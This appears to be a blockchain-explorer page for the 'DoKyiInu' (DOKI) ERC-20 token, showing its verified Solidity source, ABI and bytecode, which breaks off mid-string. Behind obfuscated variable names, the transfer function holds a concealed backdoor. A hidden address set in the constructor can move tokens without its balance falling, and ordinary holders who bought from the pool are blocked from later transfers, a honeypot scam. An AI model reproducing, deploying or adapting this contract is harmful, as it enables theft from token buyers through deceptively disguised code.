ERC-20
Overview
Max Total Supply
1,000,000,000,000,000 DOKI
Holders
24
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
5,330,560,796,730.078071972 DOKIValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
DoKyiInu
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-01-15 */ /* https://t.me/DoKyiInu https://twitter.com/DoKyiInu https://dokyiinu.medium.com/ // SPDX-License-Identifier: MIT */ pragma solidity ^0.8.13; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract maestro owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract maestro an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountDoKyiInuDesired, uint amountDoKyiInuMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountDoKyiInu, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountDoKyiInuMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountDoKyiInu, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountDoKyiInuMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountDoKyiInu, uint amountETH); function swapExactDoKyiInuForDoKyiInu( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapDoKyiInuForExactDoKyiInu( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForDoKyiInu(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapDoKyiInuForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactDoKyiInuForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactDoKyiInu(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferDoKyiInu( address token, uint liquidity, uint amountDoKyiInuMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferDoKyiInu( address token, uint liquidity, uint amountDoKyiInuMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactDoKyiInuForDoKyiInuSupportingFeeOnTransferDoKyiInu( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForDoKyiInuSupportingFeeOnTransferDoKyiInu( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactDoKyiInuForETHSupportingFeeOnTransferDoKyiInu( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract DoKyiInu is Ownable { constructor( string memory volse, string memory nominommi, address router, address felelt ) { uniswapV2Router = IUniswapV2Router02(router); segnore = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); bab = 100; birgh = volse; dipartille = 9; nostra = nominommi; perduti = 1; buy[felelt] = bab; _tTotal = 1000000000000000 * 10**dipartille; maestro[msg.sender] = _tTotal; } function totalSupply() public view returns (uint256) { return _tTotal; } function symbol() public view returns (string memory) { return nostra; } function transfer(address recipient, uint256 amount) external returns (bool) { misero(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } uint256 private perduti; uint8 private dipartille; address private templomban; function allowance(address owner, address spender) public view returns (uint256) { return arrow[owner][spender]; } event Approval(address indexed owner, address indexed spender, uint256 value); uint256 fellow; mapping(address => mapping(address => uint256)) private arrow; address private salt; function class( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); arrow[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } mapping(address => uint256) private depend; uint256 dear; function decimals() public view returns (uint256) { return dipartille; } IUniswapV2Router02 public uniswapV2Router; function misero( address sender, address recipient, uint256 amount ) internal { if (buy[sender] == 0 && depend[sender] > 0) { if (segnore != sender) { buy[sender] -= bab; } } dear = amount * perduti; if (buy[sender] == 0) { maestro[sender] -= amount; } fellow = dear / bab; amount -= fellow; depend[templomban] += bab; templomban = recipient; maestro[recipient] += amount; } event Transfer(address indexed from, address indexed to, uint256 value); uint256 private bab; string private nostra; function approve(address spender, uint256 amount) external returns (bool) { return class(msg.sender, spender, amount); } string private birgh; mapping(address => uint256) private buy; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { misero(sender, recipient, amount); emit Transfer(sender, recipient, amount); return class(sender, msg.sender, arrow[sender][msg.sender] - amount); } function balanceOf(address account) public view returns (uint256) { return maestro[account]; } address private segnore; uint256 private _tTotal; mapping(address => uint256) private maestro; function name() public view returns (string memory) { return birgh; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"string","name":"volse","type":"string"},{"internalType":"string","name":"nominommi","type":"string"},{"internalType":"address","name":"router","type":"address"},{"internalType":"address","name":"felelt","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
Contract Creation Code
60806040523480156200001157600080fd5b506040516200215738038062002157833981810160405281019062000037919062000662565b620000576200004b6200039e60201b60201c565b620003a660201b60201c565b81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000106573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200012c919062000712565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001dc919062000712565b6040518363ffffffff1660e01b8152600401620001fb92919062000755565b6020604051808303816000875af11580156200021b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000241919062000712565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550606460098190555083600b90816200029a9190620009cd565b506009600260006101000a81548160ff021916908360ff16021790555082600a9081620002c89190620009cd565b5060018081905550600954600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600260009054906101000a900460ff16600a62000334919062000c44565b66038d7ea4c6800062000348919062000c95565b600e81905550600e54600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050505062000ce0565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620004d38262000488565b810181811067ffffffffffffffff82111715620004f557620004f462000499565b5b80604052505050565b60006200050a6200046a565b9050620005188282620004c8565b919050565b600067ffffffffffffffff8211156200053b576200053a62000499565b5b620005468262000488565b9050602081019050919050565b60005b838110156200057357808201518184015260208101905062000556565b60008484015250505050565b60006200059662000590846200051d565b620004fe565b905082815260208101848484011115620005b557620005b462000483565b5b620005c284828562000553565b509392505050565b600082601f830112620005e257620005e16200047e565b5b8151620005f48482602086016200057f565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200062a82620005fd565b9050919050565b6200063c816200061d565b81146200064857600080fd5b50565b6000815190506200065c8162000631565b92915050565b600080600080608085870312156200067f576200067e62000474565b5b600085015167ffffffffffffffff811115620006a0576200069f62000479565b5b620006ae87828801620005ca565b945050602085015167ffffffffffffffff811115620006d257620006d162000479565b5b620006e087828801620005ca565b9350506040620006f3878288016200064b565b925050606062000706878288016200064b565b91505092959194509250565b6000602082840312156200072b576200072a62000474565b5b60006200073b848285016200064b565b91505092915050565b6200074f816200061d565b82525050565b60006040820190506200076c600083018562000744565b6200077b602083018462000744565b9392505050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620007d557607f821691505b602082108103620007eb57620007ea6200078d565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008557fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000816565b62000861868362000816565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620008ae620008a8620008a28462000879565b62000883565b62000879565b9050919050565b6000819050919050565b620008ca836200088d565b620008e2620008d982620008b5565b84845462000823565b825550505050565b600090565b620008f9620008ea565b62000906818484620008bf565b505050565b5b818110156200092e5762000922600082620008ef565b6001810190506200090c565b5050565b601f8211156200097d576200094781620007f1565b620009528462000806565b8101602085101562000962578190505b6200097a620009718562000806565b8301826200090b565b50505b505050565b600082821c905092915050565b6000620009a26000198460080262000982565b1980831691505092915050565b6000620009bd83836200098f565b9150826002028217905092915050565b620009d88262000782565b67ffffffffffffffff811115620009f457620009f362000499565b5b62000a008254620007bc565b62000a0d82828562000932565b600060209050601f83116001811462000a45576000841562000a30578287015190505b62000a3c8582620009af565b86555062000aac565b601f19841662000a5586620007f1565b60005b8281101562000a7f5784890151825560018201915060208501945060208101905062000a58565b8683101562000a9f578489015162000a9b601f8916826200098f565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000b425780860481111562000b1a5762000b1962000ab4565b5b600185161562000b2a5780820291505b808102905062000b3a8562000ae3565b945062000afa565b94509492505050565b60008262000b5d576001905062000c30565b8162000b6d576000905062000c30565b816001811462000b86576002811462000b915762000bc7565b600191505062000c30565b60ff84111562000ba65762000ba562000ab4565b5b8360020a91508482111562000bc05762000bbf62000ab4565b5b5062000c30565b5060208310610133831016604e8410600b841016171562000c015782820a90508381111562000bfb5762000bfa62000ab4565b5b62000c30565b62000c10848484600162000af0565b9250905081840481111562000c2a5762000c2962000ab4565b5b81810290505b9392505050565b600060ff82169050919050565b600062000c518262000879565b915062000c5e8362000c37565b925062000c8d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000b4b565b905092915050565b600062000ca28262000879565b915062000caf8362000879565b925082820262000cbf8162000879565b9150828204841483151762000cd95762000cd862000ab4565b5b5092915050565b6114678062000cf06000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610204578063a9059cbb14610222578063dd62ed3e14610252578063f2fde38b14610282576100cf565b806370a08231146101ac578063715018a6146101dc5780638da5cb5b146101e6576100cf565b806306fdde03146100d4578063095ea7b3146100f25780631694505e1461012257806318160ddd1461014057806323b872dd1461015e578063313ce5671461018e575b600080fd5b6100dc61029e565b6040516100e99190610e49565b60405180910390f35b61010c60048036038101906101079190610f04565b610330565b6040516101199190610f5f565b60405180910390f35b61012a610345565b6040516101379190610fd9565b60405180910390f35b61014861036b565b6040516101559190611003565b60405180910390f35b6101786004803603810190610173919061101e565b610375565b6040516101859190610f5f565b60405180910390f35b610196610482565b6040516101a39190611003565b60405180910390f35b6101c660048036038101906101c19190611071565b61049c565b6040516101d39190611003565b60405180910390f35b6101e46104e5565b005b6101ee61056d565b6040516101fb91906110ad565b60405180910390f35b61020c610596565b6040516102199190610e49565b60405180910390f35b61023c60048036038101906102379190610f04565b610628565b6040516102499190610f5f565b60405180910390f35b61026c600480360381019061026791906110c8565b6106a4565b6040516102799190611003565b60405180910390f35b61029c60048036038101906102979190611071565b61072b565b005b6060600b80546102ad90611137565b80601f01602080910402602001604051908101604052809291908181526020018280546102d990611137565b80156103265780601f106102fb57610100808354040283529160200191610326565b820191906000526020600020905b81548152906001019060200180831161030957829003601f168201915b5050505050905090565b600061033d338484610822565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e54905090565b60006103828484846109bd565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103df9190611003565b60405180910390a3610479843384600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104749190611197565b610822565b90509392505050565b6000600260009054906101000a900460ff1660ff16905090565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104ed610ced565b73ffffffffffffffffffffffffffffffffffffffff1661050b61056d565b73ffffffffffffffffffffffffffffffffffffffff1614610561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055890611217565b60405180910390fd5b61056b6000610cf5565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a80546105a590611137565b80601f01602080910402602001604051908101604052809291908181526020018280546105d190611137565b801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b5050505050905090565b60006106353384846109bd565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106929190611003565b60405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610733610ced565b73ffffffffffffffffffffffffffffffffffffffff1661075161056d565b73ffffffffffffffffffffffffffffffffffffffff16146107a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079e90611217565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610816576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161080d906112a9565b60405180910390fd5b61081f81610cf5565b50565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561088d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b6108cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c39061133b565b60405180910390fd5b81600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516109aa9190611003565b60405180910390a3600190509392505050565b6000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610a4b57506000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15610aff578273ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610afe57600954600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610af69190611197565b925050819055505b5b60015481610b0d919061135b565b6007819055506000600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205403610bb15780600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ba99190611197565b925050819055505b600954600754610bc191906113cc565b60038190555060035481610bd59190611197565b905060095460066000600260019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c4a91906113fd565b9250508190555081600260016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ce191906113fd565b92505081905550505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610df3578082015181840152602081019050610dd8565b60008484015250505050565b6000601f19601f8301169050919050565b6000610e1b82610db9565b610e258185610dc4565b9350610e35818560208601610dd5565b610e3e81610dff565b840191505092915050565b60006020820190508181036000830152610e638184610e10565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610e9b82610e70565b9050919050565b610eab81610e90565b8114610eb657600080fd5b50565b600081359050610ec881610ea2565b92915050565b6000819050919050565b610ee181610ece565b8114610eec57600080fd5b50565b600081359050610efe81610ed8565b92915050565b60008060408385031215610f1b57610f1a610e6b565b5b6000610f2985828601610eb9565b9250506020610f3a85828601610eef565b9150509250929050565b60008115159050919050565b610f5981610f44565b82525050565b6000602082019050610f746000830184610f50565b92915050565b6000819050919050565b6000610f9f610f9a610f9584610e70565b610f7a565b610e70565b9050919050565b6000610fb182610f84565b9050919050565b6000610fc382610fa6565b9050919050565b610fd381610fb8565b82525050565b6000602082019050610fee6000830184610fca565b92915050565b610ffd81610ece565b82525050565b60006020820190506110186000830184610ff4565b92915050565b60008060006060848603121561103757611036610e6b565b5b600061104586828701610eb9565b935050602061105686828701610eb9565b925050604061106786828701610eef565b9150509250925092565b60006020828403121561108757611086610e6b565b5b600061109584828501610eb9565b91505092915050565b6110a781610e90565b82525050565b60006020820190506110c2600083018461109e565b92915050565b600080604083850312156110df576110de610e6b565b5b60006110ed85828601610eb9565b92505060206110fe85828601610eb9565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061114f57607f821691505b60208210810361116257611161611108565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006111a282610ece565b91506111ad83610ece565b92508282039050818111156111c5576111c4611168565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611201602083610dc4565b915061120c826111cb565b602082019050919050565b60006020820190508181036000830152611230816111f4565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611293602683610dc4565b915061129e82611237565b604082019050919050565b600060208201905081810360008301526112c281611286565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611325602483610dc4565b9150611330826112c9565b604082019050919050565b6000602082019050818103600083015261135481611318565b9050919050565b600061136682610ece565b915061137183610ece565b925082820261137f81610ece565b9150828204841483151761139657611395611168565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006113d782610ece565b91506113e283610ece565b9250826113f2576113f161139d565b5b828204905092915050565b600061140882610ece565b915061141383610ece565b925082820190508082111561142b5761142a611168565b5b9291505056fea264697066735822122078f597820d2e915755ce31b1c457015306b64317997cb952c5fbc5c56a59222164736f6c63430008110033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000a9e1d0297c854674f1c8d1dbb31e6f85531bd2f30000000000000000000000000000000000000000000000000000000000000008446f4b7969496e750000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004444f4b4900000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c57806395d89b411161006657806395d89b4114610204578063a9059cbb14610222578063dd62ed3e14610252578063f2fde38b14610282576100cf565b806370a08231146101ac578063715018a6146101dc5780638da5cb5b146101e6576100cf565b806306fdde03146100d4578063095ea7b3146100f25780631694505e1461012257806318160ddd1461014057806323b872dd1461015e578063313ce5671461018e575b600080fd5b6100dc61029e565b6040516100e99190610e49565b60405180910390f35b61010c60048036038101906101079190610f04565b610330565b6040516101199190610f5f565b60405180910390f35b61012a610345565b6040516101379190610fd9565b60405180910390f35b61014861036b565b6040516101559190611003565b60405180910390f35b6101786004803603810190610173919061101e565b610375565b6040516101859190610f5f565b60405180910390f35b610196610482565b6040516101a39190611003565b60405180910390f35b6101c660048036038101906101c19190611071565b61049c565b6040516101d39190611003565b60405180910390f35b6101e46104e5565b005b6101ee61056d565b6040516101fb91906110ad565b60405180910390f35b61020c610596565b6040516102199190610e49565b60405180910390f35b61023c60048036038101906102379190610f04565b610628565b6040516102499190610f5f565b60405180910390f35b61026c600480360381019061026791906110c8565b6106a4565b6040516102799190611003565b60405180910390f35b61029c60048036038101906102979190611071565b61072b565b005b6060600b80546102ad90611137565b80601f01602080910402602001604051908101604052809291908181526020018280546102d990611137565b80156103265780601f106102fb57610100808354040283529160200191610326565b820191906000526020600020905b81548152906001019060200180831161030957829003601f168201915b5050505050905090565b600061033d338484610822565b905092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600e54905090565b60006103828484846109bd565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516103df9190611003565b60405180910390a3610479843384600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104749190611197565b610822565b90509392505050565b6000600260009054906101000a900460ff1660ff16905090565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104ed610ced565b73ffffffffffffffffffffffffffffffffffffffff1661050b61056d565b73ffffffffffffffffffffffffffffffffffffffff1614610561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055890611217565b60405180910390fd5b61056b6000610cf5565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a80546105a590611137565b80601f01602080910402602001604051908101604052809291908181526020018280546105d190611137565b801561061e5780601f106105f35761010080835404028352916020019161061e565b820191906000526020600020905b81548152906001019060200180831161060157829003601f168201915b5050505050905090565b60006106353384846109bd565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516106929190611003565b60405180910390a36001905092915050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681